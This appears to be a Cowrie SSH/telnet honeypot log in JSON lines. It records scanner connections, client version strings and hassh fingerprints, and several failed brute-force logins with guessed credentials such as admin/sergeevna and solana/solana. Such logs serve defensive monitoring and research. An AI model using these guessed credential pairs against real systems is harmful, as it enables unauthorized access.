{"eventid":"cowrie.session.closed","duration":12.003909349441528,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:03:50.211298Z","src_ip":"180.235.129.180","session":"a9304d5f5337","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.021446943283081,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:03:56.527318Z","src_ip":"180.235.129.180","session":"72ee842b68d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.24","src_port":56205,"dst_ip":"10.17.0.5","dst_port":22,"session":"efd92d132ee5","protocol":"ssh","message":"New connection: 91.231.89.24:56205 (10.17.0.5:22) [session: efd92d132ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:04:21.700893Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:04:21.837742Z","src_ip":"91.231.89.24","session":"efd92d132ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.220","src_port":43583,"dst_ip":"10.17.0.5","dst_port":22,"session":"940e53041e3e","protocol":"ssh","message":"New connection: 91.231.89.220:43583 (10.17.0.5:22) [session: 940e53041e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:04:21.914359Z"}
{"eventid":"cowrie.session.closed","duration":120.00139093399048,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:04:26.828285Z","src_ip":"180.235.129.180","session":"9902a79b8aa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:04:32.088317Z","src_ip":"91.231.89.220","session":"940e53041e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.31","src_port":33823,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b7b04fa5531","protocol":"ssh","message":"New connection: 91.231.89.31:33823 (10.17.0.5:22) [session: 4b7b04fa5531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:04:42.929172Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003eJ\\xba\u0194\u074bx\\xd5\\xfa\\xda\\xf0\\x81\\xa6z\\x86;9E\r\\xa9\u0017\\xd3\u0019\\xe8\u0001\\xc7\\xe1\\xdd3\\xe2\u0013 \u0002\\xae4\ud9bc\udc49\\xc1\\xfca\u076f\\x9f4\\xaa@C\\xac\\xa5\\x8c\\xfe\\xfb\\xa2\r;5\\xe6\u06fb=\u00029\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","message":"Remote SSH version: \u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003eJ\\xba\u0194\u074bx\\xd5\\xfa\\xda\\xf0\\x81\\xa6z\\x86;9E\r\\xa9\u0017\\xd3\u0019\\xe8\u0001\\xc7\\xe1\\xdd3\\xe2\u0013 \u0002\\xae4\ud9bc\udc49\\xc1\\xfca\u076f\\x9f4\\xaa@C\\xac\\xa5\\x8c\\xfe\\xfb\\xa2\r;5\\xe6\u06fb=\u00029\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:04:42.933712Z","src_ip":"91.231.89.31","session":"4b7b04fa5531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:04:42.940301Z","src_ip":"91.231.89.31","session":"4b7b04fa5531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.218","src_port":52669,"dst_ip":"10.17.0.5","dst_port":22,"session":"d15105818baf","protocol":"ssh","message":"New connection: 91.231.89.218:52669 (10.17.0.5:22) [session: d15105818baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:04:43.083090Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:04:46.086742Z","src_ip":"91.231.89.218","session":"d15105818baf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":58546,"dst_ip":"10.17.0.5","dst_port":23,"session":"4236d82c796b","protocol":"telnet","message":"New connection: 49.88.156.34:58546 (10.17.0.5:23) [session: 4236d82c796b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:05:16.934333Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":40352,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f17ae376668","protocol":"telnet","message":"New connection: 180.235.129.180:40352 (10.17.0.5:23) [session: 9f17ae376668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:05:20.358569Z"}
{"eventid":"cowrie.session.closed","duration":120.00303268432617,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:05:48.501207Z","src_ip":"180.235.129.180","session":"6e4d195bb87d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":43492,"dst_ip":"10.17.0.5","dst_port":23,"session":"236ae7b94496","protocol":"telnet","message":"New connection: 180.235.129.180:43492 (10.17.0.5:23) [session: 236ae7b94496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:05:57.683522Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.135","src_port":52159,"dst_ip":"10.17.0.5","dst_port":22,"session":"52a71ba35b90","protocol":"ssh","message":"New connection: 91.231.89.135:52159 (10.17.0.5:22) [session: 52a71ba35b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:06:09.637084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:06:09.760752Z","src_ip":"91.231.89.135","session":"52a71ba35b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:06:09.821048Z","src_ip":"91.231.89.135","session":"52a71ba35b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:06:10.890677Z","src_ip":"91.231.89.135","session":"52a71ba35b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":44598,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e4e1991dbb0","protocol":"telnet","message":"New connection: 180.235.129.180:44598 (10.17.0.5:23) [session: 4e4e1991dbb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:06:11.153562Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.150","src_port":42609,"dst_ip":"10.17.0.5","dst_port":22,"session":"f326bccd9f0d","protocol":"ssh","message":"New connection: 91.231.89.150:42609 (10.17.0.5:22) [session: f326bccd9f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:06:11.811538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:06:11.909298Z","src_ip":"91.231.89.150","session":"f326bccd9f0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:06:12.029576Z","src_ip":"91.231.89.150","session":"f326bccd9f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:06:12.969907Z","src_ip":"91.231.89.150","session":"f326bccd9f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.97462558746338,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:06:15.333087Z","src_ip":"180.235.129.180","session":"9f17ae376668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.67471480369568,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:06:49.358097Z","src_ip":"180.235.129.180","session":"236ae7b94496","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.7.36.233","src_port":46610,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a45370efee6","protocol":"telnet","message":"New connection: 190.7.36.233:46610 (10.17.0.5:23) [session: 1a45370efee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:06:59.449722Z"}
{"eventid":"cowrie.session.closed","duration":52.24514698982239,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:07:03.398520Z","src_ip":"180.235.129.180","session":"4e4e1991dbb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":49102,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ce11a1d1516","protocol":"telnet","message":"New connection: 180.235.129.180:49102 (10.17.0.5:23) [session: 3ce11a1d1516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:07:08.451726Z"}
{"eventid":"cowrie.session.closed","duration":11.741257190704346,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:07:11.190851Z","src_ip":"190.7.36.233","session":"1a45370efee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.454204559326172,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:07:13.905797Z","src_ip":"180.235.129.180","session":"3ce11a1d1516","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00446701049805,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:07:16.938665Z","src_ip":"49.88.156.34","session":"4236d82c796b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":40094,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4f741ec88ae","protocol":"ssh","message":"New connection: 80.94.92.168:40094 (159.203.135.109:22) [session: a4f741ec88ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:07:25.390861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:07:25.706693Z","src_ip":"80.94.92.168","session":"a4f741ec88ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:07:25.710509Z","src_ip":"80.94.92.168","session":"a4f741ec88ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:07:27.047305Z","src_ip":"80.94.92.168","session":"a4f741ec88ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:07:28.289155Z","src_ip":"80.94.92.168","session":"a4f741ec88ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":25834,"dst_ip":"159.203.135.109","dst_port":22,"session":"260501ce1b2e","protocol":"ssh","message":"New connection: 2.57.121.112:25834 (159.203.135.109:22) [session: 260501ce1b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:09:40.469460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:09:40.473644Z","src_ip":"2.57.121.112","session":"260501ce1b2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:09:40.573491Z","src_ip":"2.57.121.112","session":"260501ce1b2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sergeevna","message":"login attempt [admin/sergeevna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:09:41.036676Z","src_ip":"2.57.121.112","session":"260501ce1b2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"serg","message":"login attempt [admin/serg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:09:42.136128Z","src_ip":"2.57.121.112","session":"260501ce1b2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"serenade","message":"login attempt [admin/serenade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:09:43.235624Z","src_ip":"2.57.121.112","session":"260501ce1b2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"serafim","message":"login attempt [admin/serafim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:09:44.335877Z","src_ip":"2.57.121.112","session":"260501ce1b2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"senna1","message":"login attempt [admin/senna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:09:45.436117Z","src_ip":"2.57.121.112","session":"260501ce1b2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:09:46.536987Z","src_ip":"2.57.121.112","session":"260501ce1b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":45384,"dst_ip":"10.17.0.5","dst_port":23,"session":"00ebdf978e98","protocol":"telnet","message":"New connection: 180.235.129.180:45384 (10.17.0.5:23) [session: 00ebdf978e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:11:57.796343Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":45380,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf220d7c509","protocol":"telnet","message":"New connection: 180.235.129.180:45380 (10.17.0.5:23) [session: 3cf220d7c509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:11:58.804247Z"}
{"eventid":"cowrie.session.closed","duration":8.3634512424469,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:06.159673Z","src_ip":"180.235.129.180","session":"00ebdf978e98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.774549722671509,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:06.578655Z","src_ip":"180.235.129.180","session":"3cf220d7c509","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.237.107.42","src_port":35166,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe6841f5c541","protocol":"ssh","message":"New connection: 205.237.107.42:35166 (10.17.0.5:22) [session: fe6841f5c541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:22.598969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:22.603881Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:22.690831Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
